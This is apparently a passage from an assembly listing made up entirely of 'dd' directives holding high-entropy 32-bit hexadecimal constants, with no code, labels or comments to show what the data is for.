dd 2FA6A678h, 670950CEh, 4E56502Bh, 9A3A7BB4h, 6FA09A9Ah
dd 0B87C3152h, 70900AEDh, 0AC5DBE88h, 0BB01AD7Eh, 0DEDB4453h
dd 8292D946h, 9C1ABBA7h, 0C7EAC8Ch, 7B4F12EDh, 926E8C69h
dd 8FC3B102h, 5994ED01h, 63EF5574h, 70AE6541h, 2F918AFh
dd 97C9F2E6h, 0DAFA5156h, 0A0947A47h, 0D12A52DAh, 94175E0h
dd 7F44D070h, 8C420438h, 7A6EF894h, 0ACEEAE35h, 0A8BF02F0h
dd 4B12BB42h, 55694840h, 17BFD9Eh, 67BE3A76h, 8E44ACA1h
dd 0F720A8DBh, 39ADA481h, 8960D7D7h, 32413924h, 0A0D87764h
dd 7AD4C7A8h, 0DF47587Ch, 9DCE61C8h, 0CFB3DF8Dh, 0C2EC9551h
dd 1BE85AB5h, 0D32D1D14h, 84A9E67Eh, 119CC9EAh, 37644A0Ah
dd 0CDEFD9BFh, 58738114h, 4BD8793Fh, 92D2A95Ch, 3FDC04D8h
dd 968D5DC0h, 0A8635C38h, 0F1B6B468h, 2B0E2755h, 0E1D78A82h
dd 0F1A75B0Fh, 0C4083A1Ch, 42DE4976h, 0BF783CFDh, 0E31E2C0Eh
dd 0D171B843h, 149825B4h, 0F12F0F8Fh, 26345056h, 3AF204C7h
dd 455897A6h, 96E9FFFCh, 0BB6E0208h, 4F92299Bh, 6DB72742h
dd 0B2BB8733h, 0B6FF9223h, 0B3B742D4h, 4E9CCE80h, 62FE4D55h
dd 0F351CDFCh, 354887ECh, 0F285FF25h, 328FA020h, 0F57460E8h
dd 0E6585629h, 63CFED69h, 8C792C41h, 952DF7Eh, 79F4DE83h
dd 40583FADh, 2D31686Dh, 0EB91A7F9h, 961339CBh, 0BFE3CA4Bh
dd 3DCAA966h, 0A898E595h, 0AF653228h, 0DCB9AB35h, 309FBE17h
dd 41B30A24h, 458E455Dh
dd 0CAD54D0Eh, 7D488EFBh, 63904C85h, 0AD6D6563h, 70C3BE14h
dd 20D2900Fh, 0ED1AC2C8h, 0E2E28231h, 5F3D60F0h, 0F52876F7h
dd 36621D06h, 0CF00B367h, 0B40E4172h, 0ED55C375h, 0BB9E4A02h
dd 6E3D53EDh, 3450ACE2h, 42DBFCF1h, 0D9EDDAC8h, 0CB3EAAA1h
dd 0F4178CC9h, 0D86F8F4Bh, 0A7BE0AF6h, 0AC4EB783h, 2DDE02F4h
dd 168E8DD9h, 9EA290EEh, 0AF43F467h, 22F25BFAh, 726FAC7Eh
dd 0D20F65D7h, 0FC7B205Fh, 0C2AAF6D1h, 25D330Bh, 0CB9044C2h
dd 6130D470h, 4D26FFF4h, 3168AF88h, 0C82EBDC2h, 38B575B4h
dd 2F6EBD5Eh, 0CCA75E26h, 44EE6A25h, 590BD9F6h, 0B1C8809Ah
dd 0EEE9F447h, 0AF3F4760h, 606D301h, 1C433DA7h, 3529220Ah
dd 57E11900h, 7346EDBFh, 6C9DB988h, 0B666CA42h, 8942ECFCh
dd 0D8B1AB93h, 49D3B06Ah, 31FAB7EDh, 0B02EF781h, 6446CA5Ah
dd 0CDE16DDCh, 91EF8954h, 30EC93FAh, 0FFB86705h, 56D9594Ah
dd 28291E70h, 13FD3522h, 0A5E4FF8h, 14AD4955h, 9077DADFh
dd 0B37483EBh, 4C8F4E71h, 4B701A3Ah, 0D56032Bh, 0E0E98415h
dd 50BAACCh, 64A24DFEh, 696C14E7h, 0E78DB494h, 172C374h
dd 15BCC30Bh, 0C8EF0A7Ch, 87C99D11h, 0B688A151h, 0C2C134FFh
dd 796F291Fh, 4B7914F1h, 7F079B72h, 96547548h, 0FA5D63FAh
dd 0DCD5B1E3h, 4A8521h, 752A1DFh, 81D2BBB9h, 31C363FCh
dd 1161076Ch, 66B4621Dh, 8F12215h, 0F69DF0AFh, 71F950B1h
dd 0C11624ADh, 90C965CEh, 0E0A8F728h, 0A65E1872h, 79BD1A72h
dd 0E4B2A8ABh, 0CA93D0B8h, 221E8E47h, 0F08F8B94h, 4206603h
dd 1449F88Ch, 0C1FBD7ACh, 7259C150h, 68F89D73h, 493DA3C7h
dd 2119C788h, 570FCF83h, 0E2615E6Eh, 77CFCC8Ah, 3EC55C65h
dd 0C3014119h, 8D730A78h, 14CC0BDAh, 661B6FD3h, 8789585h
dd 10F91A9Eh, 43E438Dh, 3DFC363Dh, 3A78431Bh, 276FAEFh
dd 0D9AF2EF9h, 0B861E9FAh, 0A971FD1Ah, 7D86228Ch, 90A288B0h
dd 3B0A0A07h, 6374A439h, 57DC9620h, 345F182Eh, 7B3BA1DCh
dd 567BB210h, 0A7AD4141h, 0F7EE34B2h, 0EFB8698Ch, 6FDEA6DCh
dd 0B1237657h, 516D26D7h, 5419F7A5h, 4ED586CBh, 806A8D22h
dd 0AFB754E5h, 2DED773Dh, 3C28DC51h, 1778377Ah, 5C666144h
dd 5D9389Bh, 0D0D0F5EAh, 0D2777E36h, 0F7ED5CDBh, 49386406h
dd 85B93849h, 136C90D6h, 0B803D51Bh, 7ACF0AB6h, 9C66D329h
dd 6A31E754h, 50815236h, 51310A07h, 9283ADE7h, 6E3EE969h
dd 0BD84A192h, 7C5236FCh, 559E2135h, 936D811Dh, 0BAF1FB53h
dd 78DD7F91h, 77DA32A9h, 485BB646h, 0A90E65DBh, 671A4179h
dd 1DE2B052h, 0E950579h, 60301B62h, 1A115552h, 0CA007087h
dd 0BDBCCB7Eh, 2A7B6FDEh, 0CA034131h, 59F4531Dh, 0F27F617Eh
dd 81651B90h, 37F3E22h, 7D721DAFh, 5FC61341h, 46E91712h
dd 364ECF01h, 0D0C8A319h, 0FC4233FEh, 6312C92h, 0ECD6FCF9h
dd 7A3A84A0h, 4EC4A666h, 12301C0Bh, 0DA90122Dh, 0E0E343B1h
dd 0C1329E55h, 0FD4E01E7h, 8968D419h, 1BC0E50Ch, 0F750E379h
dd 0D150D86Ah, 0DF008A60h, 0CFF3FE9h, 283E8Ch, 0EF1A8FFh
dd 3F733246h, 83AC8C35h, 0AAB7BB20h, 14A60F49h, 0E6AE79E8h
dd 24EE0BD4h, 41489D85h, 0E5E701A1h, 1122B631h, 0EFDCE0C0h
dd 3F724D98h, 2AC3352h, 5B72C890h, 0A0267A61h, 410950D8h
dd 0EEDC7130h, 0E60CFA4Dh, 974CD358h, 0F2ECCB4Dh, 0F982C01Dh
dd 1999F29Fh, 653EEC9Fh, 91B4273Eh, 725061E7h, 9B0EC6CDh
dd 8452B164h, 10EECD65h, 7530A7CFh, 9F5D05Ah, 56ADB6A1h
dd 0F67B687h, 0BE7AC290h, 7435E2Bh, 23B91C34h, 7F89CD6Ah
dd 0B089E171h, 2CF8AD0Ch, 82E3006Ch, 0C02C66B6h, 45C13743h
dd 0AB4463E4h, 42E721BBh, 81563EC6h, 73D92D19h, 3C8A50A6h
dd 0DEBDAA53h, 0AED08EB2h, 5332C5D3h, 80349A14h, 8E30B531h
dd 9E3EA86Fh, 0A6F4D828h, 4096C93Ch, 0EF50A225h, 71F01BEBh
dd 9D52167Dh, 0F8D12A75h, 30BBD28Ch, 0BB0C821Bh, 1E93DA1Bh
dd 22E5595Fh, 99158C3h, 6E014625h, 0B56D2380h, 0B15CE999h
dd 392518CEh, 0B2E34F74h, 1ED19518h, 0EB582C04h, 0CE42A80Dh
dd 15FA5C10h, 671F0DE0h, 77BF7D66h, 6DAEE6FCh, 9A0CDC6h
dd 0C228DEF9h, 600B6C56h, 6032126Dh, 4FC50414h, 13657B57h
dd 1DF8AD8h, 1154021Eh, 837E8493h, 4E0C5F48h, 0E030938Bh
dd 0FAC969D5h, 0D1CCE3F0h, 0CC4628F1h, 91D55E25h, 0D4F1F682h
dd 5B1A09B6h, 0DF76B656h, 84525CE0h, 0CB34D0E7h, 46949F7Ah
dd 0EB11B6F5h, 345C1BBCh, 50211086h, 0CB6F318Fh, 0AD65C23Ah
dd 682AFF3Bh, 426A8BA6h, 0D5C3A65h, 90676ED8h, 0C5849FBh
dd 5BC86B1Ch, 14CB86D0h, 859509Eh, 0CF72849Fh, 0BD5DD373h
dd 0C5431FA4h, 76515BD0h, 0BDCE72FAh, 552668A9h, 58160300h
dd 0DE8B0E4Bh, 521F998Fh, 599B6785h, 2E9BD027h, 524BED45h
dd 8FDB6DB2h, 0C975A381h, 9AF5FD1Bh, 0E52819AFh, 1D3019E6h
dd 0A188ED92h, 21C4E6BBh, 0E95F01F2h, 0CD7B4011h, 39964964h
dd 311EC968h, 0F9F9169Ah, 366AB0D9h, 0CA16E1Fh, 7BC28526h
dd 3D553C73h, 0BBFB104Fh, 5B06E1E1h, 8C6F3B24h, 9B632305h
dd 0FC7CFFFAh, 6DBD6D57h, 2B326FAAh, 0BA853512h, 0EB4A531Ah
dd 0ED05A476h, 90005BE3h, 38C6168Eh, 91156A92h, 0C3F85C26h
dd 0B722FCDBh, 0A970C0CBh, 0A8AB2F0Dh, 6F6B3A65h, 0B316B7EDh
dd 8C51DC74h, 4C8BC836h, 8631C3D3h, 0AF624A4Fh, 0E8318E73h
dd 2FD0D127h, 678AEEA7h, 107A68A8h, 4E492102h, 1E1C4083h
dd 80132645h, 40057D19h, 0F6497A6Dh, 3E759C27h, 920FF0h
dd 5C48669Ch, 9D12C0C2h, 0E62A74F1h, 584D346Eh, 0EF327351h
dd 0C1A5ADBDh, 0FC14D10Ah, 6B52B909h, 5611C288h, 8C7FC02Ch
dd 43EB7104h, 0D0E2BBDAh, 45E1E41Fh, 0CF85F0BEh, 5565B0F7h
dd 0DA2CE786h, 0BA716558h, 8C207336h, 4864B5E8h, 27D13178h
dd 43E7B963h, 139654C9h, 0E18DEBEFh, 7687D57Ch, 0DAD90CE3h
dd 26B4FFDAh, 83771DBAh, 3BF36258h, 7F98519Ah, 45C05A06h
dd 7A1AB20h, 603CF46Fh, 0C4B1169Bh, 53B2EFC4h, 0E6F698Fh
dd 0C83D0644h, 59D9E9BFh, 0FFFFE5C5h, 862A0073h, 9D128B1h
dd 6B80BA7Bh, 2FF04781h, 76033DD0h, 0E5B07677h, 0C7E2A32Ch
dd 0EA2A9E3Eh, 594A07DBh, 75AEAF8Ch, 0A9A7432Dh, 0BF3CF048h
dd 4DCB34BEh, 685C6FDFh, 487E9879h, 12CE398Ch, 66E9A014h
dd 0CB7DF6B7h, 7E0A0BC4h, 91782C98h, 6F140C15h, 436697C0h
dd 50EDCCAFh, 44C5BB10h, 270480E3h, 0B36830Ch, 0F02E2BB1h
dd 1A100A66h, 19FE8E29h, 1A5143F3h, 72D9B08Ah, 113DE020h
dd 0AD9B17AAh, 0DC681271h, 903161B3h, 76E009FDh, 6EAE9A43h
dd 1B426ECCh, 4EE558B4h, 0F689E6A2h, 7D6E333Dh, 0E6908829h
dd 0C7365438h, 0B3EB7023h, 0C5DE1EECh, 47B39582h, 6BC62C3Ah
dd 80083CC8h, 0F839B020h, 0E6E42FF0h, 7BF95657h, 36AE6EC0h
dd 6FC9261Bh, 4D405EDCh, 5650051Ch, 0AA237C3Bh, 6035FDCBh
dd 30F56A8Dh, 93BE7A73h, 0DB4F9E70h, 55FE056Ch, 0E1707C74h
dd 110B6DA3h, 1BCE80F3h, 0BB81D180h, 0BF6B3E8Ch, 62E379F7h
dd 0F4554CD0h, 0ADCE84DDh, 0E3814D61h, 0BCD6DAA2h, 4FFF2CCCh
dd 424C49C9h, 955D5685h, 0B61E9DAAh, 22B5E31h, 6624D1EAh
dd 5AF07CDBh, 0EDE8FEE5h, 9FBC0FA3h, 0D985426Fh, 0D3E8DC7Dh
dd 4903B2D0h, 64806EBFh, 0D693784Ch, 0ABC9CBD5h, 82FA42A1h
dd 1004CE6Fh, 0A760C3AEh
dd 12E5B12Dh, 0A1092392h, 5D9E9D6Eh, 84FF5012h, 6DEC210Dh
dd 54B59734h, 727DFA1Dh, 0BE04345Dh, 6DE8DB99h, 3435255Dh
dd 62661AE5h, 3B87D16h, 0EEDD48F1h, 0B879AEB1h, 6A56FD65h
dd 20D1EF60h, 7BC80B68h, 51D16318h, 4F9B21E4h, 10F81159h
dd 1D6C9B07h, 0F5FF3F15h, 97BF046Ch, 7F4C11C7h, 55CEC4EDh
dd 0ABF9BCA4h, 0FA0CF2CEh, 15B50180h, 8EEB6076h, 583C7697h
dd 0E6577600h, 0B91DCDD2h, 0DD768BDEh, 4AC656B4h, 0A2AE0DDDh
dd 0CDEFD0C7h, 930427F0h, 0E80440C8h, 612F8F4h, 1972AB17h
dd 0D3AA1F99h, 0EFDE063Fh, 0EF25C570h, 21BFFAB4h, 0AFC3261Ch
dd 10AB09A6h, 44B91BFh, 3915A0Eh, 84E4A2EBh, 192598D6h
dd 4C1FDFB1h, 550FF1ADh, 1048D5F7h, 928A950Eh, 932C27A0h
dd 49F0E106h, 0E512CAD9h, 0D0956EF4h, 0C28B1BBFh, 29B8E2CAh
dd 4AECDED7h, 74EAE953h, 0FDCC5081h, 79280AACh, 0DB1CD054h
dd 0A7FEE888h, 2D2AE3ABh, 88EE6D33h, 88FFFA78h, 0D0C049CDh
dd 4847FC7Dh, 26A376EDh, 0A635F7A0h, 5D34AF8Ch, 646B33EAh
dd 189351A7h, 0F97496BDh, 0E1C81F0Ah, 0B0D67453h, 20A4F209h
dd 7ACE285Fh, 0A818291Fh, 0C75B7DA7h, 0E2CADBD2h, 66E260B3h
dd 1F2AED26h, 78ADD31Eh, 0D8516A66h, 642151C5h, 0A689E71Eh
dd 0DE59D805h, 468EAA50h, 0C747B43Bh, 0F2D81F5Ch, 9E67DC5Fh
dd 2A2316CBh, 0D96CF75Ch, 8149A04Ah, 8B619FAEh, 99EE0513h
dd 643F9512h, 0D9BF83A2h, 24D4775Ah, 0EA117FD4h, 0A489F85h
dd 0AC6E9DA7h, 98C963BAh, 0CB01548Eh, 16E00907h, 7C244B3Ch
dd 1B45E58Ah, 52DA2C9Bh, 0DE405DCDh, 0BC035AB5h, 0DF3FEF21h
dd 0FAED2503h, 0E313417Ah, 0FEF7B12h, 9AB9F6B5h, 0D2A8928Dh
dd 0E172E5Eh, 0E26FA1A3h, 478E443Fh, 295F2DE3h, 833FC690h
dd 405EC421h, 8ACEF732h, 0B4243008h, 0CEA7B604h, 1691D88h
dd 0FC0EF3D6h, 0CD64BF4h, 9578D586h, 303DF781h, 7AA1A490h
dd 871B5102h, 0E399D6C9h, 0AA314924h, 0B5F85221h, 2AB9E266h
dd 0ED272E6Fh, 428F1932h, 0C9F6AD63h, 18DF420Ch, 8CE50FF6h
dd 32FC1C87h, 2D186F43h, 0DD5D6F58h, 7CED3FA0h, 4397D036h
dd 0D8F3715Dh, 85F8BE48h, 49B321BEh, 0C9590DA4h, 0B5C50942h
dd 0D34FEE55h, 0B3BA185Bh, 0E8E16087h, 0A22FF31Ah, 380DBD40h
dd 3FC50150h, 2CD0BF0Bh, 0F8AD74B4h, 8BCCD2E4h, 0ACF3B4CAh
dd 11A13BE5h, 0FC6543B1h, 74A359F3h, 0A910F445h, 309C141Dh
dd 0F1D50560h, 0FCE14751h, 40CF8667h, 0C30A9D73h, 0AA2047EFh
dd 277EFC12h, 59DF4D60h, 0BDCBD240h, 39679F33h, 12B1E8DBh
dd 67254C0Dh, 8613C7F6h, 8E9AF1A9h, 2B970FE7h, 415E522Bh
dd 0A8925B29h, 5C538B6h, 0CF383ECEh, 49F41603h, 0E9EF8549h
dd 0C9D0642Ah, 0B5034558h, 0D444C683h, 0D65408DDh, 192F790Fh
dd 1D03D769h, 21F1E2E1h, 12819A87h, 0C306023Ch, 6851BC45h
dd 836A4042h, 8674B96Bh, 9FF8D8C4h, 0A5064EBCh, 0AB6DF963h
dd 0A3282346h, 4B31E84Bh, 0EED67EE3h, 52872442h, 9AADE8CAh
dd 320F6F15h, 0B37FDBD9h, 687E50C5h, 656C1801h, 5B8142ACh
dd 15B0782Ch, 790D8190h, 0E5B8DFADh, 0D5163823h, 63B1D744h
dd 68B29F77h, 0AE08499Dh, 4D5F192Eh, 0AAC2286Ah, 368BF41Fh
dd 0B9EC5Ch, 9B8B3062h, 0F95E50A6h, 7EC4962h, 0DAFA3575h
dd 0A39AA94Ah, 0CC00D10Dh, 231BC95Dh, 47F2E0E3h, 0FC68AF6Dh
dd 809F7A50h, 51555DFDh, 0E3F0C127h, 0B9B4B72h, 7B915D1Fh
dd 8C0A3EE9h, 62F0F5EBh, 65C3CCE5h, 0FA46ED50h, 0C8CF566Ah
dd 2980D611h, 2F24F8D3h, 75967019h, 182079FFh, 0C495E5ADh
dd 21DAFD12h, 4DAE0E37h, 2FF1308Ah, 0A638E04h, 6CF62DBEh
dd 0FFE68FDDh, 2937DAD9h, 0A2E02EE1h, 0B8E42FA5h, 0B32E801h
dd 70E6B547h, 7D406C22h, 957950DDh, 0B7CAA3BFh, 0C593B18Ah
dd 601F0Fh, 0C8493ACAh, 0B76087A8h, 0CBA556E7h, 92335CCBh
dd 0D7BB182Bh, 0DC7EA9A5h, 0FC5E30DBh, 987BCA7h, 0C5442B03h
dd 90903D42h, 9278B0DAh, 0A3DF2073h, 0CA155E23h, 0CE70F5D4h
dd 7C0E2ECh, 0D923520Bh, 0B2496665h, 0C9F90E8Bh, 85C19AA6h
dd 7F2E3CF7h, 0B3AAE0D2h, 910704Fh, 0ED243D4Ch, 70354908h
dd 0D4E6497Fh, 0C4C7E596h, 0BEEEA6CCh, 7D995D14h, 27191502h
dd 0B9867D3Ch, 548845B1h, 8BF6A8C3h, 0F59756Bh, 4D7FAB1Ah
dd 0BE83D0FFh, 4C10EAA4h, 5CFC629Ah, 0BC1E75ECh, 0FFB5EAB5h
dd 0DBC69BD8h, 0BD2504F8h, 35E8E3CFh, 0E2D6ECC5h, 0C1F4EF28h
dd 82586627h, 88DF4AC1h, 0BA2E1E9Bh, 82A710FEh, 60457D7Eh
dd 1CCEF76h, 371142BFh, 971E7C5Bh, 1658B192h, 0B3FDE71Dh
dd 0C6027D3h, 0C69D4944h, 755C2F03h, 2A2358h, 0B7DB5660h
dd 0FE0AADBh, 0B30EFF25h, 0E4BDDBACh, 66715E64h, 0EF247A1Dh
dd 0A4773191h, 5CED2FFh, 49F65CA4h, 5FAF07BFh, 1D40D928h
dd 1E4E7C59h, 489F470Ch, 12EC79FEh, 0B689188Fh, 36F7436Fh
dd 1DB49A49h, 0EFBEF340h, 0F5D76E76h, 0BB86BE2h, 46F91634h
dd 30161299h, 808900E8h, 9C5F880Bh, 815EE1B6h, 6F92E923h
dd 98D0B03Ch, 0F732BE72h, 3B9CAA87h, 733CC686h, 1B5D8D9Fh
dd 523D825Dh, 0A49C7BCFh, 0EE9693CEh, 0CB88745Bh, 0EB304D62h
dd 0DCB639FAh, 0AA380C56h, 0DA98ADB2h, 29EFFB5Fh, 7996B1DDh
dd 359FC156h, 0F2D60DB9h, 0D0A40600h, 10F3D393h, 164AB271h
dd 6A52E46h, 0DA5D78C6h, 99711D48h, 0E0C3E9F8h, 0CD3EF3A9h
dd 0A25CF21Eh, 63118C3h, 0B9E161BCh, 7BF264C6h, 0FA7139D7h
dd 49B0ADABh, 37F86358h, 6EE78056h, 0BFEE095Bh, 1F7934BDh
dd 0AA5FE018h, 0E2566C4Fh, 15812D49h, 0E9D34123h, 3A845E6h
dd 0D85601Eh, 70510932h, 528B9397h, 0F5D43C3h, 7E3EA945h
dd 5184592Bh, 1255AEC8h, 9D20FA4h, 1FC5EF9Ah, 98B29057h
dd 0BB49A888h, 2EB3B652h, 940B130Ch, 0A209F56Dh, 0E3FDC873h
dd 2ECDE6Dh, 0DE79B4D1h, 74E78599h, 0E21EEFCCh, 714853D4h
dd 784D0FD6h, 22F0236Ah, 0B9CC0C51h, 0E21DB312h, 6DD23250h
dd 5F907ED6h, 0BAF0257Bh, 385911FDh, 0ED1F07CCh, 0DD0938B5h
dd 0CEB7D08Fh, 0B4936738h, 1E710007h, 0FE2A6E46h, 0C2F52997h
dd 0CCB92F60h, 49E5883Bh, 0F49AF70Eh, 6D95CD17h, 35D9EF24h
dd 0C8B7E621h, 0F5EC04E3h, 0FD3E938Fh, 0CDDA9CB9h, 0B33387DFh
dd 0EAFA3279h, 7809E5ABh, 8AFABC48h, 3941CEEFh, 2FCDE06Ah
dd 0CD6C3332h, 360969B9h, 0AC96E46Eh, 61FF1CF5h, 5FD7A06Dh
dd 1C2A0088h, 0BABAB3F8h, 46FC914Bh, 22D27B7Ch, 7BD6E7A9h
dd 651B8ACBh, 21B251DEh, 0B513EAA9h, 0DBEB7890h, 0D8F7CEAAh
dd 973B91E7h, 4E574C11h, 8267969Eh, 0CD529F92h, 22F571B6h
dd 8A5EEC18h, 59CA3408h, 51792DB3h, 0D1B0A934h, 1BF3908Fh
dd 64A9D494h, 0AD0D1E07h, 4372B79Eh, 0BC2FBE0Bh, 7CC45512h
dd 85AFAE32h, 0BD2BE053h, 45215050h, 39B47063h, 6EB5DFA6h
dd 715C0A8Ch, 713AB3FEh, 0B0A89C3Bh, 0BE4E9844h, 7FAA6FCBh
dd 1790C0B6h, 526AFCF1h, 78587588h, 0D48410F2h, 0FC72085Dh
dd 0D8D229C8h, 9E33A224h, 0BADC6B6Fh, 0DCFC2ACh, 0AE9CEB0Eh
dd 949F1299h, 0C798883Dh, 0BA9FFF88h, 0ABEF675Bh, 63B8C8E5h
dd 0AF8CD8B4h, 0F7104F18h, 0BC9F36C4h, 8EA89530h, 0D0507C95h
dd 6038F973h, 4BE52F22h, 0ADE5DED3h, 0F2B38CECh, 0E9C591E0h
dd 78B7D9A5h, 0DDE341FDh, 0FEAF47E7h, 0C918EAE9h, 0A76DAACDh
dd 0AEF8B88Ah, 0F2FB4C26h
dd 0D3A4787h, 0AE204909h, 3600E93h, 0F12E63ABh, 0A77A3F4Eh
dd 0D1774AEAh, 0F2EF6946h, 8A765138h, 34362182h, 0CC6FC47Bh
dd 793EDC01h, 8263AE97h, 992C6621h, 550380C9h, 0A2D0A779h
dd 8858057h, 1F8362BAh, 79A53DC1h, 0E412F170h, 0A4E3BDBCh
dd 3C67E8B8h, 0BB471B8Dh, 1431F754h, 4520CF34h, 5768C72h
dd 0FD542170h, 0E01E1108h, 1FE01522h, 0BEB47080h, 0A9C23F4Eh
dd 2C1B2CFCh, 0DCD0C4C9h, 0FE926696h, 1B6E722Ch, 169D0D1h
dd 88832036h, 0F6B43AD1h, 9C045E6Eh, 0E9D720A2h, 9475A7B6h
dd 0BEE9E2D6h, 0F88A2EDh, 880694F1h, 0EB0122D4h, 3CBC6F0Fh
dd 964D2748h, 22D09AEBh, 0D1A92F01h, 0D5183F09h, 1653ACF5h
dd 2A804AF4h, 6055C4A8h, 8277F529h, 0FD4C3FC9h, 0E5F200C9h
dd 8FD50B4Dh, 0F9CC081Bh, 0C19B67D6h, 0CBAA7921h, 0BAD179EDh
dd 59836AE5h, 240B42BBh, 33787C0Fh, 848121A7h, 0C9FFF52Fh
dd 0C64E6227h, 66927629h, 0DC8A4701h, 43CC9FB9h, 63DFC602h
dd 691753EEh, 6A532890h, 47387DF7h, 3C39E63h, 0ACA7393Ch
dd 42ECD01Fh, 0FDC11F70h, 3573D48Ah, 6C81BC13h, 1A77F246h
dd 0B8E957F5h, 0CD193DE9h, 8D94A739h, 5D742F51h, 663F9E55h
dd 0E7AEACE1h, 0F1F4F4AFh, 1EE37359h, 0DDE2F00h, 20D7C972h
dd 5D139F2Eh, 0FA28C888h, 0A8D2FE78h, 8507E971h, 82B49765h
dd 3DE292CDh, 2C1F672Fh, 7738D5D1h, 0CA5AE367h, 0F92A3042h
dd 403CC6ACh, 0E87D92E3h, 944EEA61h, 0A8BBEA9Fh, 0A5DA19C8h
dd 691133D2h, 0B5CA4BF5h, 93B94103h, 0A0C196B4h, 40A2AF65h
dd 0EC70E9D1h, 9FDE5526h, 0BDEA3C08h, 0B2C8444h, 5AC9ADCAh
dd 0DF07C6BDh, 5E424EADh, 0A5981D6Bh, 866F9FAAh, 0F5E0096Fh
dd 0F84C4C3Ch, 6E589BDBh, 664B4A3Eh, 0DAC17BE6h, 39A9207Ch
dd 0D8DB44BBh, 0AACC1A33h, 568E7748h, 0DF2ED19h, 5408C793h
dd 0DB34C251h, 95A429F8h, 7F43E837h, 0CF134DC1h, 0CE0D80ADh
dd 424DCFD7h, 0DC76C6EAh, 3411542Fh, 2EB96DC9h, 0E8E7C7D6h
dd 66E6DABBh, 6939A3DCh, 0E4AF7207h, 56BB10B9h, 0BEEDDAA8h
dd 0B1578519h, 0E034AF96h, 0BE48E299h, 9831F486h, 8F2C751Ah
dd 5F6A315Eh, 96DDCFCFh, 0EFE8034Ah, 4D048E8Eh, 0AEFF110Ch
dd 914CDCDDh, 0F89B7B2Ah, 94CFEDD8h, 53F2AD17h, 7B2EA2CDh
dd 1065FD01h, 0C6CDEE75h, 6E67EC0Bh, 0BAAD383Bh, 568414ACh
dd 50BF5F26h, 21011B7Fh, 795EF190h, 642AEFCCh, 0BC6CC511h
dd 43C3E9D3h, 85DD3A83h, 293D1BCBh, 2A549742h, 4C62966Eh
dd 3957E03Eh, 3EEA5139h, 33E6FDADh, 0ECA60B5Ch, 9415DF43h
dd 0D3D4C29Eh, 0A63B8FCAh, 9F81727Fh, 0CF123577h, 5D3DCA49h
dd 4DE85A14h, 5A74EB3Fh, 5323C458h, 0EC96EF61h, 6A91F444h
dd 2F01CEBBh, 0B2092682h, 4162E083h, 0FFAEFFEFh, 57CC1C90h
dd 74D47F1Dh, 0C5570DD3h, 548888E2h, 801304FFh, 0B3A04DF9h
dd 94125759h, 0ECC43B0Fh, 44ED89DEh, 0AC89ECF3h, 51DA7AB6h
dd 0C258E5F4h, 0A54109E7h, 310FEC03h, 0CFA87576h, 35FBC656h
dd 0D4557755h, 0EFABF962h, 3A0B8358h, 76470E61h, 4C07C9FEh
dd 14CB37BCh, 80BEBB94h, 4939AEE5h, 33FAA0FFh, 0C44ACE25h
dd 1EF065A9h, 52A8813Fh, 49EF6853h, 0C27F3B8Ah, 0D6C0D367h
dd 0DEABA61Dh, 0B47BFECAh, 0D5DABAB1h, 0D3ADD620h, 0D68BFEDAh
dd 0A14F70C3h, 8B0904DBh, 93AC4A4Bh, 69D08166h, 0CC75B4EBh
dd 78A578EFh, 6D35BBE9h, 2A8B1BC6h, 5A83562h, 0A41214A6h
dd 7187D845h, 83C04FC1h, 47DE304Dh, 32E23800h, 702860BBh
dd 63838C4Ah, 21749B9Fh, 0B8865BBEh, 8E35986Ah, 3E9F07D5h
dd 8E7931BFh, 16DE4A2Ch, 0C25C3329h, 8F05FD32h, 8B2DD918h
dd 48669AC0h, 55693C9Fh, 0B6B57645h, 8E78A4B1h, 1074C0E3h
dd 58E1B302h, 0C5380B1Eh, 7809C21Fh, 43CCED00h, 64D8271Ah
dd 0C23F970Eh, 0A1D69583h, 6855565Bh, 605FFCD0h, 0A0F6E819h
dd 0C62B3C46h, 825C2515h, 0B532971Ah, 7D0B3B95h, 0BB555D7h
dd 0C841418Bh, 0D51A1DC6h, 0A3A4D3EFh, 0D1083264h, 10A0573Dh
dd 21DE6577h, 0F509A647h, 0A8D9119Fh, 7E14CD60h, 0DAB76E8Eh
dd 452EAFF1h, 929E7ADAh, 543C7E57h, 96DDAC79h, 0C2C935A5h
dd 51EAFF0h, 2DAE861h, 6C33C1F5h, 19228C7Ah, 7DC8D6F3h
dd 6BE7E1Ah, 737E729Eh, 0B06C0B3Ah, 5E92A3CEh, 632C38BDh
dd 0B5CDD189h, 132909BFh, 49B88150h, 2B13A162h, 0EE1288CBh
dd 5ADCE042h, 49B76027h, 63C56013h, 4EA80F45h, 9AE9067Fh
dd 0E33A0E80h, 0EFD7D12Ch, 0AEE61BFh, 0A1783B39h, 0D85052E0h
dd 0F1E80DE5h, 0BE415246h, 251387C7h, 77D4B959h, 0E335DBB3h
dd 0D72CEBEh, 8205055Bh, 6E7099C4h, 5F3004C7h, 0F443FF6Eh
dd 133FB9C6h, 9EA4EFE9h, 8412022Bh, 2FA7B329h, 0CBDEE7ADh
dd 9CD3A194h, 94E67708h, 0EDBECB1Eh, 5A8471F8h, 1FA5E532h
dd 458EB52Fh, 3D8D2512h, 0CBA3C7B5h, 65FBFE9Bh, 698F313Dh
dd 91DD6869h, 0BE142A84h, 0DC0ABDA8h, 8FFD5DB6h, 84973E46h
dd 0A9FB266h, 136DED47h, 9D1C7B49h, 0F0C6570h, 0DBF131DFh
dd 0BDE12D4Ch, 28B5EF30h, 8CD4A805h, 0BC9B9E14h, 0AB8DEE91h
dd 0C88087DDh, 3CB25DBCh, 0C420B953h, 93830B2h, 396E1D17h
dd 95DE85E0h, 2C6F49EEh, 3201DFE4h, 0C2A12F7Eh, 43DEB08Bh
dd 0FC68CADCh, 43FB68B4h, 0D34D22BFh, 8CB28AABh, 28675891h
dd 0C5AD734Fh, 0B294ADh, 7242EE87h, 11E94862h, 0F53242F2h
dd 253DDAD7h, 0C9827757h, 724E64A9h, 9F0F5C0Fh, 0A22018A2h
dd 9ED43AC1h, 0D94ECDCh, 0E9170EFBh, 1605CE76h, 8FB6A310h
dd 0BA0F16BEh, 546A2836h, 0C2494CCFh, 0D3BC521Eh, 0A3A5FA01h
dd 6A81F037h, 0EC5B8C7Bh, 4D827F27h, 0B6A9B401h, 12899365h
dd 256F8F60h, 4F334D4Ch, 7EB5D9A5h, 0A2288A40h, 41349AA7h
dd 4E8C7B7Ah, 72E6DF80h, 0FD05D4F5h, 1850556Eh, 5F8291Dh
dd 74102ECFh, 0BB705DFFh, 0A5AAB1AEh, 22694A33h, 30FEB70Ch
dd 0E03B7FB0h, 0B5E098B3h, 0A5C15D22h, 0A7623F81h, 0A0A72CCEh
dd 3979A64Eh, 0EA4960A1h, 0A3ADB415h, 3F38DA34h, 71E21019h
